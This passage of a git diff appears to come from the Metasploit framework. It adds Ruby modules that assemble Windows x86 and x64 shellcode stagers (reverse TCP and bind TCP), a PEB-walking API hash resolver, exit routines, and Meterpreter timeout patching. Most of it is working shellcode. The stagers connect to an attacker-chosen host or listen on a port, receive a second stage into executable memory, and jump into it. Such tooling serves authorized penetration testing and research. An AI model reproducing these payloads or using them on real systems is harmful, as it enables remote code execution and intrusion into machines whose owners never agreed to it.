asm << %Q^ + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage + ^ + + if reliable + if opts[:exitfunk] + asm << %Q^ + failure: + + ^ + asm << asm_exitfunk(opts) + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + end + + asm + end + +end + +end + diff --git a/lib/msf/core/payload/windows/exitfunk.rb b/lib/msf/core/payload/windows/exitfunk.rb index 3d6e61935c..ff311e8e13 100644 --- a/lib/msf/core/payload/windows/exitfunk.rb +++ b/lib/msf/core/payload/windows/exitfunk.rb @@ -2,8 +2,8 @@ require 'msf/core' require 'msf/core/payload/windows' -module Msf +module Msf ### # diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index e3195bd683..8905854ef0 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -29,17 +29,11 @@ module Payload::Windows::ReflectiveDllInject ], 'Platform' => 'win', 'Arch' => ARCH_X86, - 'PayloadCompat' => - { - 'Convention' => 'sockedi -https', - }, + 'PayloadCompat' => { 'Convention' => 'sockedi -https', }, 'Stage' => { - 'Offsets' => - { - 'EXITFUNC' => [ 33, 'V' ] - }, - 'Payload' => "" + 'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] }, + 'Payload' => "" } )) @@ -85,6 +79,16 @@ module Payload::Windows::ReflectiveDllInject # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap + # patch in the timeout options + timeout_opts = { + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + } + + Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts) + # patch the target ID into the URI if specified if target_id i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00") diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb new file mode 100644 index 0000000000..c887b792d0 --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -0,0 +1,242 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/exitfunk' + +module Msf + +### +# +# Complex reverse_tcp payload generation for Windows ARCH_X86 +# +### + +module Payload::Windows::ReverseTcp + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi + include Msf::Payload::Windows::Exitfunk + + # + # Register reverse_tcp specific options + # + def initialize(*args) + super + end + + # + # Generate the first stage + # + def generate + # Generate the simple version of this stager if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + return generate_reverse_tcp( + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['ReverseConnectRetries'], + ) + end + + conf = { + host: datastore['LHOST'], + port: datastore['LPORT'], + retry_count: datastore['ReverseConnectRetries'], + exitfunk: datastore['EXITFUNC'], + reliable: true + } + + generate_reverse_tcp(conf) + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_tcp(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) + space += 31 + + # Reliability adds 10 bytes for recv error checks + space += 10 + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_tcp(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + reliable = opts[:reliable] + encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the socket for the connection to the server + ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) + + reverse_tcp: + push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. + push 0x5F327377 ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "ws2_32" ) + + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + call ebp ; WSAStartup( 0x0190, &WSAData ); + + create_socket: + push eax ; if we succeed, eax will be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this + + set_address: + push #{retry_count} ; retry counter + push #{encoded_host} ; host in little-endian format + push #{encoded_port} ; family AF_INET and port number + mov esi, esp ; save pointer to sockaddr struct + + try_connect: + push 16 ; length of the sockaddr struct + push esi ; pointer to the sockaddr struct + push edi ; the socket + push 0x6174A599 ; hash( "ws2_32.dll", "connect" ) + call ebp ; connect( s, &sockaddr, 16 ); + + test eax,eax ; non-zero means a failure + jz connected + + handle_failure: + dec dword [esi+8] + jnz try_connect + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + # TODO: Rewind the stack, free memory, try again +=begin + if opts[:reliable] + asm << %Q^ + reconnect: + + ^ + end +=end + + asm << %Q^ + connected: + + recv: + ; Receive the size of the incoming second stage... + push 0 ; flags + push 4 ; length = sizeof( DWORD ); + push esi ; the 4 byte buffer on the stack to hold the second stage length + push edi ; the saved socket + push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + call ebp ; recv( s, &dwLength, 4, 0 ); + ^ + + # Check for a failed recv() call + # TODO: Try again by jmping to reconnect + if reliable + asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly recieved second stage length. + push 0 ; NULL as we dont care where the allocation is. + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: ; + push 0 ; flags + push esi ; length + push ebx ; the current address into our second stage's RWX buffer + push edi ; the saved socket + push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + call ebp ; recv( s, buffer, length, 0 ); + ^ + + # Check for a failed recv() call + # TODO: Try again by jmping to reconnect + if reliable + asm << %Q^ + cmp eax, 0 + jle failure + ^ + end + + asm << %Q^ + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb index 8e9683c5be..136e7e0d7c 100644 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -52,7 +52,7 @@ module Payload::Windows::StagelessMeterpreter end def generate_stageless_x86(url = nil) - dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll')) + dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll')) conf = { :rdi_offset => offset, @@ -85,6 +85,16 @@ module Payload::Windows::StagelessMeterpreter end end + # Patch in the timeout options + timeout_opts = { + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i + } + + Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts) + # if a block is given then call that with the meterpreter dll # so that custom patching can happen if required yield dll if block_given? @@ -94,7 +104,7 @@ module Payload::Windows::StagelessMeterpreter unless datastore['EXTENSIONS'].nil? datastore['EXTENSIONS'].split(',').each do |e| e = e.strip.downcase - ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x86.dll')) + ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x86.dll')) # append the size, offset to RDI and the payload itself dll << [ext.length].pack('V') + ext diff --git a/lib/msf/core/payload/windows/x64/bind_tcp.rb b/lib/msf/core/payload/windows/x64/bind_tcp.rb new file mode 100644 index 0000000000..e231d4f6e9 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/bind_tcp.rb @@ -0,0 +1,220 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/block_api' +require 'msf/core/payload/windows/x64/exitfunk' + +module Msf + +### +# +# Complex bindtcp payload generation for Windows ARCH_X86_64 +# +### + +module Payload::Windows::BindTcp_x64 + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi_x64 + include Msf::Payload::Windows::Exitfunk_x64 + + def close_listen_socket + datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true + end + + # + # Generate the first stage + # + def generate + # Generate the simple version of this stager if we don't have enough space + if self.available_space.nil? || required_space > self.available_space + return generate_bind_tcp( + port: datastore['LPORT'], + close_socket: close_listen_socket + ) + end + + conf = { + port: datastore['LPORT'], + exitfunk: datastore['EXITFUNC'], + close_socket: close_listen_socket, + reliable: true + } + + generate_bind_tcp(conf) + end + + # + # Generate and compile the stager + # + def generate_bind_tcp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop rbp ; pop off the address of 'api_call' for calling later. + #{asm_bind_tcp(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + # TODO: need help with this from the likes of HD. + space = 277 + + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) + space += 31 + + # EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above) + + # Reliability checks add 4 bytes for the first check, 5 per recv check (2) + #space += 14 + + # if the payload doesn't need the listen socket closed then we save space. This is + # the case for meterpreter payloads, as metsrv now closes the listen socket once it + # kicks off (needed for more reliable shells). + space -= 11 unless close_listen_socket + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_bind_tcp(opts={}) + reliable = opts[:reliable] + close_socket = opts[:close_socket] + encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + + asm = %Q^ + bind_tcp: + ; setup the structures we need on the stack... + mov r14, 'ws2_32' + push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. + mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. + sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData + ; structure (+8 for alignment) + mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. + mov r12, #{encoded_port} + push r12 ; bind to 0.0.0.0 family AF_INET and port 4444 + mov r12, rsp ; save pointer to sockaddr_in struct for bind call + ; perform the call to LoadLibraryA... + mov rcx, r14 ; set the param for the library to load + mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call rbp ; LoadLibraryA( "ws2_32" ) + ; perform the call to WSAStartup... + mov rdx, r13 ; second param is a pointer to this stuct + push 0x0101 ; + pop rcx ; set the param for the version requested + mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + call rbp ; WSAStartup( 0x0101, &WSAData ); + ; perform the call to WSASocketA... + push rax ; if we succeed, rax wil be zero, push zero for the flags param. + push rax ; push null for reserved parameter + xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure + xor r8, r8 ; we do not specify a protocol + inc rax ; + mov rdx, rax ; push SOCK_STREAM + inc rax ; + mov rcx, rax ; push AF_INET + mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) + call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + mov rdi, rax ; save the socket for later + ; perform the call to bind... + push 16 ; + pop r8 ; length of the sockaddr_in struct (we only set the + ; first 8 bytes as the last 8 are unused) + mov rdx, r12 ; set the pointer to sockaddr_in struct + mov rcx, rdi ; socket + mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) + call rbp ; bind( s, &sockaddr_in, 16 ); + ; perform the call to listen... + xor rdx, rdx ; backlog + mov rcx, rdi ; socket + mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + call rbp ; listen( s, 0 ); + ; perform the call to accept... + xor r8, r8 ; we set length for the sockaddr struct to zero + xor rdx, rdx ; we dont set the optional sockaddr param + mov rcx, rdi ; listening socket + mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) + call rbp ; accept( s, 0, 0 ); + ^ + + if close_socket + asm << %Q^ + ; perform the call to closesocket... + mov rcx, rdi ; the listening socket to close + mov rdi, rax ; swap the new connected socket over the listening socket + mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + call rbp ; closesocket( s ); + ^ + else + asm << %Q^ + mov rdi, rax ; swap the new connected socket over the listening socket + ^ + end + + asm << %Q^ + ; restore RSP so we dont have any alignment issues with the next block... + add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations + + recv: + ; Receive the size of the incoming second stage... + sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length + mov rdx, rsp ; set pointer to this buffer + xor r9, r9 ; flags + push 4 ; + pop r8 ; length = sizeof( DWORD ); + mov rcx, rdi ; the saved socket + mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + call rbp ; recv( s, &dwLength, 4, 0 ); + add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + ; Alloc a RWX buffer for the second stage + pop rsi ; pop off the second stage length + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + mov rbx, rax ; rbx = our new memory address for the new stage + mov r15, rax ; save the address so we can jump into it later + read_more: ; + xor r9, r9 ; flags + mov r8, rsi ; length + mov rdx, rbx ; the current address into our second stages RWX buffer + mov rcx, rdi ; the saved socket + mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + call rbp ; recv( s, buffer, length, 0 ); + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + jmp r15 ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end diff --git a/lib/msf/core/payload/windows/x64/block_api.rb b/lib/msf/core/payload/windows/x64/block_api.rb new file mode 100644 index 0000000000..bc63dfd68c --- /dev/null +++ b/lib/msf/core/payload/windows/x64/block_api.rb @@ -0,0 +1,117 @@ +# -*- coding: binary -*- + +require 'msf/core' + +module Msf + +### +# +# Basic block_api stubs for Windows ARCH_X86_64 payloads +# +### + +module Payload::Windows::BlockApi_x64 + + def asm_block_api(opts={}) + + raw = %q^ + api_call: + push r9 ; Save the 4th parameter + push r8 ; Save the 3rd parameter + push rdx ; Save the 2nd parameter + push rcx ; Save the 1st parameter + push rsi ; Save RSI + xor rdx, rdx ; Zero rdx + mov rdx, [gs:rdx+96] ; Get a pointer to the PEB + mov rdx, [rdx+24] ; Get PEB->Ldr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name + loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table, + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + cmp word [rax+24], 0x020B ; is this module actually a PE64 executable? + ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and + ; their may be a PE32 module present in the PEB's module list, (typicaly the main module). + ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48]) + jne get_next_mod1 ; if not, proceed to the next module + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash + get_next_func: ; + jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... + finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... + get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module + ^ + end + +end + +end + diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb new file mode 100644 index 0000000000..e946aeb60c --- /dev/null +++ b/lib/msf/core/payload/windows/x64/exitfunk.rb @@ -0,0 +1,84 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows' + +module Msf + +### +# +# Implements arbitrary exit routines for Windows ARCH_X86_64 payloads +# +### + +module Payload::Windows::Exitfunk_x64 + + def asm_exitfunk(opts={}) + + asm = "exitfunk:\n" + + case opts[:exitfunk] + + when 'seh' + asm << %Q^ + push 0 ; + pop rcx ; set the exit function parameter + mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['seh']} + mov r10d, ebx ; place the correct EXITFUNK into r10d + call rbp ; SetUnhandledExceptionFilter(0) + push 0 ; + ret ; Return to NULL (crash) + ^ + + # On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread + # on WoW64 processes, instead we need to call RtlExitUserThread. This stub will + # automatically generate the right code depending on the selected exit method. + + when 'thread' + asm << %Q^ + mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['thread']} + mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + call rbp ; GetVersion(); (AL will = major version and AH will = minor version) + add rsp, 40 ; cleanup the default param space on stack + cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 + jl short goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on + ; Windows Vista, 2008 or 7... + jne short goodbye ; + mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + goodbye: ; We now perform the actual call to the exit function + push byte 0 ; + pop rcx ; set the exit function parameter + mov r10d, ebx ; place the correct EXITFUNK into r10d + call rbp ; call EXITFUNK( 0 ); + ^ + + when 'process', nil + asm << %Q^ + push 0 ; + pop rcx ; set the exit function parameter + mov ebx, #{"0x%.8x" % Msf::Payload::Windows.exit_types['process']} + mov r10d, ebx ; place the correct EXITFUNK into r10d + call rbp ; ExitProcess(0) + ^ + + when 'sleep' + asm << %Q^ + push 300000 ; 300 seconds + pop rcx ; set the sleep function parameter + mov ebx, #{"0x%.8x" % Rex::Text.ror13_hash('Sleep')} + mov r10d, ebx ; place the correct EXITFUNK into r10d + call rbp ; Sleep(30000) + jmp exitfunk ; repeat + ^ + + else + # Do nothing and continue after the end of the shellcode + end + + asm + end + +end + +end diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index 5a0e52e018..f8683511b1 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -29,17 +29,10 @@ module Payload::Windows::ReflectiveDllInject_x64 ], 'Platform' => 'win', 'Arch' => ARCH_X86_64, - 'PayloadCompat' => - { - 'Convention' => 'sockrdi' - }, - 'Stage' => - { - 'Offsets' => - { - 'EXITFUNC' => [ 47, 'V' ] - }, - 'Payload' => "" + 'PayloadCompat' => { 'Convention' => 'sockrdi' }, + 'Stage' => { + 'Offsets' => { 'EXITFUNC' => [ 47, 'V' ] }, + 'Payload' => "" } )) @@ -81,6 +74,16 @@ module Payload::Windows::ReflectiveDllInject_x64 return end + # patch in the timeout options + timeout_opts = { + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, + } + + Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts) + # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb new file mode 100644 index 0000000000..0f490cab93 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -0,0 +1,192 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/block_api' +require 'msf/core/payload/windows/x64/exitfunk' + +module Msf + +### +# +# Complex reverse_tcp payload generation for Windows ARCH_X86_64 +# +### + +module Payload::Windows::ReverseTcp_x64 + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi_x64 + include Msf::Payload::Windows::Exitfunk_x64 + + # + # Register reverse_tcp specific options + # + def initialize(*args) + super + end + + # + # Generate the first stage + # + def generate + # TODO: coming later + # Generate the simple version of this stager if we don't have enough space + #if self.available_space.nil? || required_space > self.available_space + # return generate_reverse_tcp( + # port: datastore['LPORT'], + # host: datastore['LHOST'], + # retry_count: datastore['ReverseConnectRetries'], + # ) + #end + + conf = { + host: datastore['LHOST'], + port: datastore['LPORT'], + retry_count: datastore['ReverseConnectRetries'], + exitfunk: datastore['EXITFUNC'], + reliable: true + } + + generate_reverse_tcp(conf) + end + + # + # Generate and compile the stager + # + def generate_reverse_tcp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop rbp + #{asm_reverse_tcp(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) + space += 31 + + # Reliability adds 10 bytes for recv error checks + space += 10 + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_tcp(opts={}) + + #retry_count = [opts[:retry_count].to_i, 1].max + # TODO: reliable = opts[:reliable] + encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first + encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port] + + asm = %Q^ + reverse_tcp: + ; setup the structures we need on the stack... + mov r14, 'ws2_32' + push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. + mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. + sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData + ; structure (+8 for alignment) + mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. + mov r12, #{encoded_host_port} + push r12 ; host, family AF_INET and port + mov r12, rsp ; save pointer to sockaddr struct for connect call + ; perform the call to LoadLibraryA... + mov rcx, r14 ; set the param for the library to load + mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call rbp ; LoadLibraryA( "ws2_32" ) + ; perform the call to WSAStartup... + mov rdx, r13 ; second param is a pointer to this stuct + push 0x0101 ; + pop rcx ; set the param for the version requested + mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) + call rbp ; WSAStartup( 0x0101, &WSAData ); + ; perform the call to WSASocketA... + push rax ; if we succeed, rax wil be zero, push zero for the flags param. + push rax ; push null for reserved parameter + xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure + xor r8, r8 ; we do not specify a protocol + inc rax ; + mov rdx, rax ; push SOCK_STREAM + inc rax ; + mov rcx, rax ; push AF_INET + mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) + call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + mov rdi, rax ; save the socket for later + ; perform the call to connect... + push 16 ; length of the sockaddr struct + pop r8 ; pop off the third param + mov rdx, r12 ; set second param to pointer to sockaddr struct + mov rcx, rdi ; the socket + mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" ) + call rbp ; connect( s, &sockaddr, 16 ); + ; restore RSP so we dont have any alignment issues with the next block... + add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations + + recv: + ; Receive the size of the incoming second stage... + sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length + mov rdx, rsp ; set pointer to this buffer + xor r9, r9 ; flags + push 4 ; + pop r8 ; length = sizeof( DWORD ); + mov rcx, rdi ; the saved socket + mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + call rbp ; recv( s, &dwLength, 4, 0 ); + add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + ; Alloc a RWX buffer for the second stage + pop rsi ; pop off the second stage length + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call rbp ; VirtualAlloc( 